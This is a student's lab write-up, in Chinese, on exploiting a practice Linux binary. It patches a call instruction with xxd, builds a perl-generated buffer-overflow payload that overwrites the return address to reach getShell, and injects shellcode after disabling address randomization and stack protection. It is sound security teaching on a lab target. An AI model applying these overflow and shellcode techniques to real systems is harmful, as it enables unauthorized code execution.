2017-2018-2 20155225《网络对抗技术》实验一 PC平台逆向破解

1、直接修改程序机器指令,改变程序执行流程

理清思路:

  1. 我们的目标文件是一个linux可执行文件,格式为ELF(Executable and Linkable Format)。
  2. 反汇编,观察文件执行流程。反汇编命令objdump,-d:反汇编代码段代码。

  3. 发现主函数里调用了foo函数,通过一个call指定,跳转到foo函数的地址8048491,对应的机器码是e8 d7 ff ff ff,e8代表call,d7 ff ff ff就代表了地址8048491,getshell函数的地址是804847d,两个函数的地址偏移量是14,d7 ff ff ff减去14为c3 ff ff ff。所以,只需将d7 ff ff ff修改为c3 ff ff ff即可。
  4. 用vi打开目标文件,发现是乱码。因为该文件是二进制文件,vi按照文本文件打开,根本解析不出来。所以在vi里输入:%!xxd,转换为十六进制显示。再通过/e8d7,找到要修改的位置。
  5. 按i进入插入模式,修改。

  6. 再转换16进制为原格式:%!xxd -r,保存退出:wq
  7. 重新反汇编,成功调用了getshell函数。

2、 通过构造输入参数,造成BOF攻击,改变程序执行流

观察反汇编代码。我首先重新学习了一遍《深入理解计算机系统》里关于过程的栈帧变化。仅通过读这个反汇编代码,就可以看清栈帧的内容,准确预测出需要注入代码的位置。并且预测结果和实际结果相符。反汇编代码如下,我通过读代码,回答老师挖空的两个问题。

0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 == 08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp) == 这里读入字符串,但系统只预留了_28_字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 == 804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret 080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo> ==上面的call调用foo,同时在堆栈上压上返回地址值:___80484ba_______== 80484ba: b8 00 00 00 00 mov $0x0,%eax

读这个反汇编代码时,需要复习栈帧结构图:

如图,我们的目标是P函数(main函数)的返回地址。

  1. 返回地址下面的区域是被保存的寄存器。

寄存器组是唯一被所有过程共享的资源。我们必须保证被调函数不会覆盖调用函数稍后会使用的值。所以所有过程都必须遵循寄存器使用规则:1.%rbx,%rbp和%r12~%r15被分为调用者保存寄存器,即被调者需要将这些寄存器的值压入栈中,调用结束后再恢复出来。——《深入理解计算机系统》

所以,我们可以理解为什么foo函数第一条指令是push %epb。将%epb压栈,所以被保存寄存器这一段占4字节。

  1. 局部变量区域。这里存放foo函数声明的局部变量,肯定就是buffer了!

ebp压栈保护后,栈指针esp存入ebp,-0x1c(%ebp)在ebp为基地址,偏移-0x1c即28个字节。这个空间就是buffer空间!

保存寄存器占4字节,buffer占28字节,一共32字节,在32字节后4字节即我们要找的返回地址!

再用老师讲的方法验证我的预测是否正确:

发现55555555中的4字节溢出到返回地址了!

发现1234这4字节溢出到返回地址!和我之前的预测一致!

找到位置后,只要把1234的位置换成getshell函数的地址\x08\x04\x84\x7d即可。直接输入是不行,先写到一个文件Input里,再将文件内容作为输入即可。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input //-e:perl调用print函数所需参数
xxd input //d:display,xx:十六进制,以十六进制查看
(cat input ; cat)| ./20155225pwn //将Input文件内容作为输入

过程如下图所示:

3、注入Shellcode并执行

首先需要搞清楚什么是shellcode,shellcode是一段机器码程序,其功能是得到一个系统shell。

和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是hacker自己编写的,可以实现任何功能。

攻击思路还是利用缓冲区溢出,修改返回地址,只不过返回地址不再是修改为getshell的地址,而是shellcode的地址。

这是原来的堆栈结构:

有下面两种思路,第一种是老师挖的坑,跳了……

尝试第二种思路,选择将shellcode放在shellcode后面,返回地址以shellcode地址填充即可。

理清思路就可以开始做了!

预备工作:

设置堆栈可执行、关闭地址随机化,如图所示。

  • 找shellcode地址:

    注意,使用第二种方式注入,但要使用第一种方法找地址,因为第二种方式注入代码超过36字节,溢出则无法用gdb看堆栈。如下图所示:

只要找到01020304的位置在0xffffd38c,再加4字节就是shellcode的起始地址了!即0xffffd390。如图:

  • 注入成功:

实验中遇到的问题

如何修改主机名

在网上找到修改主机名的方法,可以修改主机名相关的配置文件:/etc/hosts和/etc/sysconfig/network。但是我找不到/etc/sysconfig/network这个文件,暂时先只能每次开机用hostname命令修改了。

如何进入和退出gdb调试器

进入:输出gdb <可执行文件名>;退出:输入quit,或者按下Ctrl+d

使用execstack命令时,提示我没有这个命令

使用这个命令安装,sudo apt-get install execstack。

实验收获与感想

通过这次实验,我感觉收获良多。1、真实体验了一把漏洞攻击,还是很有成就干的。重新复习了过程调用中的堆栈结构,对整个攻击过程更清晰地理解了。

2、至于什么是漏洞这个问题,我的理解是,漏洞是利用操作系统运行应用程序的机制,通过一些巧妙的方法,修改应用系统的运行流程,达到自己的目标。

3、漏洞的危害:漏洞的存在会导致系统安全性降低,一旦黑客利用漏洞,运行了shellcode,就相当于整机暴露给黑客了。

4、掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2017-2018-2 20155225《网络对抗技术》实验一 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

  10. 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...

随机推荐

  1. Node.js & SSR

    Node.js & SSR nest.js https://github.com/nestjs/nest next.js 中文文档 https://nextjs.org/learn/ Grap ...

  2. 【JavaService】使用Java编写部署windows服务

    如果你玩windows系统,你对服务这个东西并不会陌生,服务可以帮我们做很多事情,在不影响用户正常工作的情况下,可以完成很多我们需要的需求. 众所周知,微软的visio studio内置的Servic ...

  3. Vasya and Multisets CodeForces - 1051C(英语限制了我的想象力)

    题意: 对输入的每个数都进行分配到两个多重集中,问分配完以后 每个多重集中的个数为1的元素是否相等  相等则输出一个分配方式, 不想等为NO 解析: 三种情况 1.原数列中个数为1 的数的个数为偶数 ...

  4. 【BZOJ2178】圆的面积并(辛普森积分)

    [BZOJ2178]圆的面积并(辛普森积分) 题面 BZOJ 权限题 题解 把\(f(x)\)设为\(x\)和所有圆交的线段的并的和. 然后直接上自适应辛普森积分. 我精度死活一个点过不去,不要在意我 ...

  5. 【转】汽车CAN总线

    概述 CAN(Controller Area Network)总线协议是由 BOSCH 发明的一种基于消息广播模式的串行通信总线,它起初用于实现汽车内ECU之间可靠的通信,后因其简单实用可靠等特点,而 ...

  6. SoapUI使用笔记备忘

    1.安装好SoapUI后,新建一个REST项目 注意新建REST项目时,需要输入测试站点的地址,即IP+端口 之后点击OK就建立好了项目,但是新项目会默认自带一个根路径访问请求,可以删除(一般没用) ...

  7. Java中如何遍历Map对象

    方法一:使用map.entrySet()来遍历.这是最常见的并且在大多数情况下也是最可取的遍历方式.在键值都需要的时候使用. Map<String,String> map = new Ha ...

  8. pi的求法 acos(-1.0)

    pi=acos(-1.0) https://www.luogu.org/problemnew/show/T4529 #include <cstdio> #include <cstdl ...

  9. Flink流处理操作符

    一.工程创建与准备 使用maven进行工程创建,且采用提供的flink-quickstart模版,便利很多.

  10. Golang的交互模式进阶-读取用户的输入

    Golang的交互模式进阶-读取用户的输入 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 读写数据除了 fmt 和 os 包,我们还需要用到 bufio 包来处理缓冲的输入和输出. ...